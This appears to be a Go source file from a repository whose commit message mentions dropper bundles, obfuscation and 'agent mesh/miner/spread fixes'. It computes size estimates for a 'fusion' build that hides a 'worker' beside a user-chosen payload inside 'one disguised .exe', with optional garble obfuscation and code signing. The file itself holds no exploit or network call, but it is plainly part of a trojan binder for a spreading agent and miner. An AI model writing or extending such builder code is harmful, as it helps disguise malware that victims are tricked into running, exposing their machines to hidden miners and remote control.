WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
171 lines
5.6 KiB
Go
171 lines
5.6 KiB
Go
package builder
|
|
|
|
import (
|
|
"fmt"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
const (
|
|
defaultWorkerBytes int64 = 12 * 1024 * 1024
|
|
defaultFusionStubBytes int64 = 2_500_000
|
|
resourcePatchOverhead int64 = 150_000
|
|
)
|
|
|
|
type FusionEstimateResponse struct {
|
|
PrepBytes int64 `json:"prep_bytes"`
|
|
PrepName string `json:"prep_name"`
|
|
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
|
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
|
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
|
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
|
OutputFileName string `json:"output_file_name"`
|
|
ProjectRootPath string `json:"project_root_path"`
|
|
ArchivePathHint string `json:"archive_path_hint"`
|
|
ExportPath string `json:"export_path,omitempty"`
|
|
Obfuscate bool `json:"obfuscate"`
|
|
SignBuild bool `json:"sign_build"`
|
|
Notes []string `json:"notes"`
|
|
}
|
|
|
|
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
|
kind := strings.TrimSpace(req.FusionPayloadKind)
|
|
if kind == "" {
|
|
kind = detectFusionPayloadKind(prepName)
|
|
if kind == "exe" && prepPath != "" {
|
|
kind = detectFusionPayloadKind(prepPath)
|
|
}
|
|
}
|
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
|
|
|
outputName := req.FusionOutputName
|
|
if outputName == "" {
|
|
outputName = prepName
|
|
}
|
|
if outputName == "" {
|
|
// Default runner name derived from payload filename
|
|
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
|
outputName = runnerNameForFile(prepName, winPlatform)
|
|
}
|
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
|
outputName += ".exe"
|
|
}
|
|
outputName = sanitizeFileName(outputName)
|
|
|
|
workerBytes := h.estimateWorkerBytes()
|
|
stubBytes := defaultFusionStubBytes
|
|
var total int64
|
|
if mode == "embedded" {
|
|
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
|
} else {
|
|
// paired: payload ships beside the runner, not inside the .exe
|
|
total = workerBytes + stubBytes + resourcePatchOverhead
|
|
}
|
|
|
|
root := h.projectRoot
|
|
if root == "" || root == "." {
|
|
root, _ = filepath.Abs(".")
|
|
}
|
|
label := strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
|
if label == "" {
|
|
label = prepName
|
|
}
|
|
sub := fusionExportSubdir(req, label)
|
|
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
|
|
|
|
resp := FusionEstimateResponse{
|
|
PrepBytes: prepSize,
|
|
PrepName: prepName,
|
|
EstimatedWorkerBytes: workerBytes,
|
|
EstimatedFusionStubBytes: stubBytes,
|
|
EstimatedResourcePatchBytes: resourcePatchOverhead,
|
|
EstimatedTotalBytes: total,
|
|
OutputFileName: outputName,
|
|
ProjectRootPath: projectOut,
|
|
ArchivePathHint: filepath.Join(h.dataDir, "builds", "<build-id>", outputName),
|
|
Obfuscate: h.shouldObfuscate(req),
|
|
SignBuild: req.SignBuild,
|
|
Notes: []string{
|
|
fmt.Sprintf("Payload: %s [%s] (%s)", prepName, kind, formatBytes(prepSize)),
|
|
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
|
|
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
|
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
|
|
},
|
|
}
|
|
|
|
if mode == "embedded" {
|
|
resp.Notes = append(resp.Notes,
|
|
"Embedded mode: one disguised .exe contains the payload + hidden worker. Best under ~500MB.",
|
|
)
|
|
} else {
|
|
resp.Notes = append(resp.Notes,
|
|
"Paired mode: runner .exe + payload file in fusion-deliverables/<title>/.",
|
|
fmt.Sprintf("Payload file stays as %q beside the runner.", prepName),
|
|
)
|
|
}
|
|
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
|
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
|
|
|
if strings.TrimSpace(req.OutputDir) != "" {
|
|
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
|
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
|
secondary := filepath.Join(root, clean, outputName)
|
|
if resp.ExportPath == "" {
|
|
resp.ExportPath = secondary
|
|
}
|
|
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
|
|
}
|
|
}
|
|
|
|
if h.shouldObfuscate(req) && h.garblePath == "" {
|
|
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
|
|
}
|
|
if req.SignBuild {
|
|
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
|
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
|
} else if !h.signingToolAvailable() {
|
|
resp.Notes = append(resp.Notes, signingToolMissingNote())
|
|
}
|
|
}
|
|
|
|
return resp
|
|
}
|
|
|
|
func (h *Handler) estimateWorkerBytes() int64 {
|
|
if h.db == nil {
|
|
return defaultWorkerBytes
|
|
}
|
|
builds, err := h.db.ListBuilds(40)
|
|
if err != nil || len(builds) == 0 {
|
|
return defaultWorkerBytes
|
|
}
|
|
var sum int64
|
|
var count int64
|
|
for _, b := range builds {
|
|
base := strings.ToLower(filepath.Base(b.FilePath))
|
|
if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") {
|
|
if b.FileSize > 0 {
|
|
sum += b.FileSize
|
|
count++
|
|
}
|
|
}
|
|
}
|
|
if count == 0 {
|
|
return defaultWorkerBytes
|
|
}
|
|
return sum / count
|
|
}
|
|
|
|
func formatBytes(n int64) string {
|
|
const unit = 1024
|
|
if n < unit {
|
|
return fmt.Sprintf("%d B", n)
|
|
}
|
|
div, exp := int64(unit), 0
|
|
for v := n / unit; v >= unit; v /= unit {
|
|
div *= unit
|
|
exp++
|
|
}
|
|
return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp])
|
|
}
|